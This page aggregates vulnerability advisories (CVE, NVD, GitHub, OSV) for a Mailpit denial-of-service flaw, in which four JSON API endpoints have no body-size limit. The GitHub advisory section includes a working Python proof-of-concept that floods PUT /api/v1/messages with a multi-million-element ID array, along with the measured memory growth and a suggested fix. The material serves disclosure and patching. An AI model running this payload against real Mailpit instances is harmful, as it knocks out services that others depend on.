Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)

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Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch.

Source published

20 Jul 2026 15:02:52 UTC

Source modified

20 Jul 2026 19:07:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch.

Source published

20 Jul 2026 16:17:03 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 12:17:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

### Summary The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. ### Affected versions - Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14). - All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here. ### Privilege required None in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host. ### The incomplete fix Commit `136bdde` ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place: ```go // server/apiv1/send.go:45-48 if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) ``` The sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`: | File | Function | `MaxBytesReader`? | Unauth in default deploy? | |---|---|---|---| | `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) | | `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES | | `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES | | `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES | | `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES | The four sibling handlers all share the shape: ```go // server/apiv1/messages.go:107-115 (SetReadStatus) decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) ``` No `MaxBytesReader`, no body-size cap, no `r.Header.Get("Content-Length")` check. The `json.NewDecoder` streams the body but each `"x"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size. ### Vulnerable code `server/apiv1/messages.go:107`: ```go func SetReadStatus(w http.ResponseWriter, r *http.Request) { decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) if err != nil { httpError(w, err.Error()) return } // ... ``` Three other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape. ### Reachability chain (default deploy) ``` Listen() # config/config.go HTTPListen = "[::]:8025" ↓ HTTP server # server/server.go:177-186 ↓ middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil ↓ SetReadStatus # server/apiv1/messages.go:87 ↓ json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]} ↓ RSS grows ~28x relative to payload size ``` `config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it. ### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0) ```bash # 1) start mailpit with defaults (no --ui-auth, no --smtp-auth) docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest # 2) baseline RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 8.473MiB / 5.772GiB # 3) trigger python3 - <<'PY' import socket N = 4_000_000 prefix = b'{"Read": true, "IDs": [' items = b'"x"' + (b',"x"' * (N - 1)) suffix = b']}' clen = len(prefix) + len(items) + len(suffix) s = socket.create_connection(("localhost", 18025), timeout=300) s.sendall( b"PUT /api/v1/messages HTTP/1.1\r\n" b"Host: localhost:18025\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) rem = items while rem: s.sendall(rem[:1024*1024]); rem = rem[1024*1024:] s.sendall(suffix) s.close() PY # 4) post-PoC RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 455.8MiB / 5.772GiB ``` Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it. The same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification. ### Impact - **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710. - **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`. - **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded. ### Suggested fix Apply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites: ```go // server/apiv1/messages.go:107 (SetReadStatus) if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) // server/apiv1/messages.go:187 (DeleteMessages) — same wrap // server/apiv1/tags.go:54 (SetMessageTags) — same wrap // server/apiv1/release.go:55 (ReleaseMessage) — same wrap ``` A cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. ### Credit Reported by tonghuaroot.

Source published

1 Jul 2026 20:56:10 UTC

Source modified

2 Sep 2026 23:45:04 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE

Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) in github.com/axllent/mailpit

Source published

7 Jul 2026 15:26:37 UTC

Source modified

7 Jul 2026 16:01:31 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.